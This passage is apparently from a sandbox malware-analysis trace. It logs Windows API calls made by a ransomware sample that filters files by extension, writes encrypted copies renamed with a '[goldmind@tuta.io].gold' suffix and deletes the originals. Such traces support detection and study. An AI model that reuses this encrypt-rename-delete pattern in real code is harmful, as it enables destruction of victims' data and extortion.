(normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0088.644] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=3584) returned 1 [0088.644] CloseHandle (hObject=0x194) returned 1 [0088.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui")) returned 0x20 [0088.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0088.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0088.644] lstrlenW (lpString=".doc") returned 4 [0088.644] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0088.644] lstrlenW (lpString=".docx") returned 5 [0088.644] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0088.644] lstrlenW (lpString=".pdf") returned 4 [0088.644] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0088.644] lstrlenW (lpString=".xls") returned 4 [0088.644] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0088.644] lstrlenW (lpString=".xlsx") returned 5 [0088.644] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0088.644] lstrlenW (lpString=".ppt") returned 4 [0088.645] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0088.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0088.645] lstrlenW (lpString=".zip") returned 4 [0088.645] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0088.645] lstrlenW (lpString=".rar") returned 4 [0088.645] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0088.645] lstrlenW (lpString=".bz2") returned 4 [0088.645] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0088.645] lstrlenW (lpString=".7z") returned 3 [0088.645] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0088.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0088.645] lstrlenW (lpString=".dbf") returned 4 [0088.645] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0088.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0088.645] lstrlenW (lpString=".1cd") returned 4 [0088.645] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0088.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0088.645] lstrlenW (lpString=".jpg") returned 4 [0088.645] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0088.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0088.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0088.645] lstrlenW (lpString=".doc") returned 4 [0088.645] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0088.645] lstrlenW (lpString=".docx") returned 5 [0088.645] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0088.645] lstrlenW (lpString=".pdf") returned 4 [0088.645] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0088.645] lstrlenW (lpString=".xls") returned 4 [0088.645] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0088.645] lstrlenW (lpString=".xlsx") returned 5 [0088.645] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0088.645] lstrlenW (lpString=".ppt") returned 4 [0088.645] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0088.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0088.645] lstrlenW (lpString=".zip") returned 4 [0088.645] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0088.645] lstrlenW (lpString=".rar") returned 4 [0088.645] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0088.645] lstrlenW (lpString=".bz2") returned 4 [0088.645] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0088.645] lstrlenW (lpString=".7z") returned 3 [0088.645] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0088.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0088.645] lstrlenW (lpString=".dbf") returned 4 [0088.645] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0088.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0088.645] lstrlenW (lpString=".1cd") returned 4 [0088.645] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0088.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned 72 [0088.646] lstrlenW (lpString=".jpg") returned 4 [0088.646] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0088.646] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0088.646] lstrlenW (lpString="journal.dll") returned 11 [0088.646] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0088.646] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1367552) returned 1 [0088.646] CloseHandle (hObject=0x194) returned 1 [0088.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll")) returned 0x20 [0088.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.646] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\journal.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll") returned 62 [0088.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll") returned 62 [0088.646] lstrlenW (lpString=".doc") returned 4 [0088.646] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.646] lstrlenW (lpString=".docx") returned 5 [0088.646] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0088.646] lstrlenW (lpString=".pdf") returned 4 [0088.647] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.647] lstrlenW (lpString=".xls") returned 4 [0088.647] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.647] lstrlenW (lpString=".xlsx") returned 5 [0088.647] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0088.647] lstrlenW (lpString=".ppt") returned 4 [0088.647] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll") returned 62 [0088.647] lstrlenW (lpString=".zip") returned 4 [0088.647] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.647] lstrlenW (lpString=".rar") returned 4 [0088.647] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.647] lstrlenW (lpString=".bz2") returned 4 [0088.647] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.647] lstrlenW (lpString=".7z") returned 3 [0088.647] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll") returned 62 [0088.651] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0088.652] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0088.666] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0088.667] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0088.671] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0088.672] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0088.862] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0089.818] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0090.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0090.416] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.416] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0090.423] GetLastError () returned 0x0 [0090.423] ReadFile (in: hFile=0x33c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x246a, lpOverlapped=0x0) returned 1 [0090.490] WriteFile (in: hFile=0x194, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x2470, lpOverlapped=0x0) returned 1 [0090.491] ReadFile (in: hFile=0x33c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.491] WriteFile (in: hFile=0x194, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xec, lpOverlapped=0x0) returned 1 [0090.491] SetEndOfFile (hFile=0x194) returned 1 [0090.492] CloseHandle (hObject=0x194) returned 1 [0090.492] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.492] SetEndOfFile (hFile=0x33c) returned 1 [0090.495] CloseHandle (hObject=0x33c) returned 1 [0090.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid")) returned 1 [0090.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0090.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0090.496] lstrlenW (lpString=".doc") returned 4 [0090.496] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0090.496] lstrlenW (lpString=".docx") returned 5 [0090.496] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0090.496] lstrlenW (lpString=".pdf") returned 4 [0090.496] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0090.496] lstrlenW (lpString=".xls") returned 4 [0090.496] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0090.496] lstrlenW (lpString=".xlsx") returned 5 [0090.496] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0090.496] lstrlenW (lpString=".ppt") returned 4 [0090.496] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0090.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0090.496] lstrlenW (lpString=".zip") returned 4 [0090.496] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0090.496] lstrlenW (lpString=".rar") returned 4 [0090.496] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0090.496] lstrlenW (lpString=".bz2") returned 4 [0090.496] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0090.496] lstrlenW (lpString=".7z") returned 3 [0090.496] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0090.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0090.496] lstrlenW (lpString=".dbf") returned 4 [0090.496] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0090.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0090.626] lstrlenW (lpString=".1cd") returned 4 [0090.626] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0090.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0090.626] lstrlenW (lpString=".jpg") returned 4 [0090.626] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0090.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0090.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0090.626] lstrlenW (lpString=".doc") returned 4 [0090.626] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0090.626] lstrlenW (lpString=".docx") returned 5 [0090.626] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0090.626] lstrlenW (lpString=".pdf") returned 4 [0090.626] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0090.626] lstrlenW (lpString=".xls") returned 4 [0090.626] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0090.626] lstrlenW (lpString=".xlsx") returned 5 [0090.626] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0090.626] lstrlenW (lpString=".ppt") returned 4 [0090.626] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0090.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0090.626] lstrlenW (lpString=".zip") returned 4 [0090.626] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0090.626] lstrlenW (lpString=".rar") returned 4 [0090.626] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0090.626] lstrlenW (lpString=".bz2") returned 4 [0090.626] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0090.626] lstrlenW (lpString=".7z") returned 3 [0090.626] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0090.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0090.626] lstrlenW (lpString=".dbf") returned 4 [0090.626] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0090.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0090.627] lstrlenW (lpString=".1cd") returned 4 [0090.627] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0090.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0090.627] lstrlenW (lpString=".jpg") returned 4 [0090.627] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0090.627] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0090.627] lstrlenW (lpString="FALL_01.MID") returned 11 [0090.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0094.356] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=4846) returned 1 [0094.356] CloseHandle (hObject=0x38c) returned 1 [0094.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid")) returned 0x20 [0094.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0094.395] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.395] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0094.416] GetLastError () returned 0x0 [0094.416] ReadFile (in: hFile=0x38c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x12ee, lpOverlapped=0x0) returned 1 [0094.444] WriteFile (in: hFile=0x394, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x12f0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x12f0, lpOverlapped=0x0) returned 1 [0094.445] ReadFile (in: hFile=0x38c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.445] WriteFile (in: hFile=0x394, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xea, lpOverlapped=0x0) returned 1 [0094.446] SetEndOfFile (hFile=0x394) returned 1 [0094.446] CloseHandle (hObject=0x394) returned 1 [0094.446] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.446] SetEndOfFile (hFile=0x38c) returned 1 [0094.447] CloseHandle (hObject=0x38c) returned 1 [0094.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.456] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid")) returned 1 [0094.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0094.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0094.456] lstrlenW (lpString=".doc") returned 4 [0094.456] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.456] lstrlenW (lpString=".docx") returned 5 [0094.456] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.456] lstrlenW (lpString=".pdf") returned 4 [0094.456] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.456] lstrlenW (lpString=".xls") returned 4 [0094.457] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.457] lstrlenW (lpString=".xlsx") returned 5 [0094.457] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.457] lstrlenW (lpString=".ppt") returned 4 [0094.457] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0094.457] lstrlenW (lpString=".zip") returned 4 [0094.457] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.457] lstrlenW (lpString=".rar") returned 4 [0094.457] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.457] lstrlenW (lpString=".bz2") returned 4 [0094.457] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.457] lstrlenW (lpString=".7z") returned 3 [0094.457] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0094.457] lstrlenW (lpString=".dbf") returned 4 [0094.457] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0094.457] lstrlenW (lpString=".1cd") returned 4 [0094.457] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0094.457] lstrlenW (lpString=".jpg") returned 4 [0094.457] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0094.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0094.457] lstrlenW (lpString=".doc") returned 4 [0094.457] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.457] lstrlenW (lpString=".docx") returned 5 [0094.457] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.457] lstrlenW (lpString=".pdf") returned 4 [0094.457] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.457] lstrlenW (lpString=".xls") returned 4 [0094.457] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.457] 